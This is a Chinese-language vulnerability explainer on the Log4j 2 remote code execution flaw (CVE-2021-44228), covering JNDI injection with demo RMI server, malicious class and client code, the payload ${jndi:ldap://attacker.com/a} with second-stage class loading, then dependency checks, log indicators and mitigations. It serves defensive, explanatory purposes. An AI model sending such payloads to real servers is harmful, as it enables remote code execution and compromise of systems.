Apache Log4j 2 远程代码执行漏洞详解

Apache Log4j 2 远程代码执行漏洞详解

2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日，阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过，请及时更新至 Apache Log4j 2.15.0 正式版本。

资料来源：

阿里云漏洞预警

360安全漏洞报告

腾讯安全

1.预备知识 1.1 Apache

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充，将Perl/Python等解释器编译到服务器中。

1.2 log4j

Log4j是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。

1.3 JNDI注入 1.3.1 JNDI

JNDI（全称Java Naming and Directory Interface）是用于目录服务的Java API，它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样，JNDI独立于底层实现。此外，它指定了一个服务提供者接口(SPI)，该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供，选择取决于所使用的实现。

1.3.2 JNDI注入

JNDI注入简单来说就是在JNDI接口在初始化时，如：InitialContext.lookup(URI)，如果URI可控，那么客户端就可能会被攻击

1.3.3 RMI

通过RMI进行JNDI注入，攻击者构造的恶意RMI服务器向客户端返回一个Reference对象，Reference对象中指定从远程加载构造的恶意Factory类，客户端在进行lookup的时候，会从远程动态加载攻击者构造的恶意Factory类并实例化，攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法为：Reference(String className, String factory, String factoryLocation)，

1. className - 远程加载时所使用的类名
2. classFactory - 加载的class中需要实例化类的名称
3. classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类，故不能作为远程对象bind到注册中心，所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

服务端代码如下

package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {

    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(7777);

        Reference reference = new Reference("test", "test", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);

    }
}

恶意代码（test.class），将其编译好放到可访问的http服务器

import java.lang.Runtime;

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

当客户端通过InitialContext().lookup("rmi://127.0.0.1:7777/calc")获取远程对象时，会执行我们的恶意代码

package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
    }
}

调用栈如下

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)

1.3.4 JNDI触发 Apache Log4j2

Apache Log4j2 远程代码执行漏洞的详细信息已被披露，而经过分析，本次 Apache Log4j 远程代码执行漏洞，正是由于组件存在 Java JNDI 注入漏洞：当程序将用户输入的数据记入日志时，攻击者通过构造特殊请求，来触发 Apache Log4j2 中的远程代码执行漏洞，从而利用此漏洞在目标服务器上执行任意代码。

攻击原理：（来源 https://www.zhihu.com/question/504998020/answer/2265112632）

import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
 static Logger log = Logger.getLogger(log4jExample.class.getName());
 
 public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
 
 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "Hello There, " + userAgent + "!";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

根据上面提供的攻击代码，攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

攻击步骤

• 攻击者向漏洞服务器发起攻击请求。
• 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a}，attacker.com是攻击者控制的地址。
• 记录的恶意负载被触发，服务器通过JNDI向attacker.com请求。
• attacker.com就可以在响应中添加一些恶意的可执行脚本，注入到服务器进程中，例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
• 攻击者执行恶意脚本。

2.漏洞处理

漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

影响版本

Apache Log4j 2.x < 2.15.0

2.1 内部自查 2.1.1 项目依赖版本检测

检测pom依赖版本是否低于 2.15.0

  
    org.apache.logging.log4j
    log4j-api
    2.15.0
  
  
    org.apache.logging.log4j
    log4j-core
    2.15.0
  

检测gradle依赖版本是否低于 2.15.0

dependencies {
  compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
  compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
} 

检测Ivy依赖版本是否低于 2.15.0

检测SBT依赖版本是否低于 2.15.0

libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"

若没有使用上述工具，那么可以全局搜索项目中是否存在log4j的相关jar包，并通过jar包中的/meta-INF/MANIFEST.MF文件查看log4j的版本。

2.1.2 日志/流量排查

1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:关键字。

2. 排查日志是否存在相关堆栈报错，堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

2.2 修复

1、排查应用是否引入了Apache log4j-core Jar包，若存在依赖引入，且在受影响版本范围内，则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0 版本，地址 https://logging.apache.org/log4j/2.x/download.html

2、升级已知受影响的应用及组件，如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

3、临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上，可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j，可设置 log4j2.formatMsgNoLookups 为 True，或者将 JndiLookup 类从 classpath 中去除，例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

2.2.1通用修补

升级到最新版本 2.15.0-rc2 ：

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.2.2临时修补建议

1. 设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true。

2. 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211，需要注意的是，即使是使用了 JDK 高版本也不能完全保证安全，依然存在本地绕过的情况。

3. 限制不必要的业务访问外网。

4. 采用 rasp 对lookup的调用进行阻断。

5. 采用 waf 对请求流量中的${jndi进行拦截。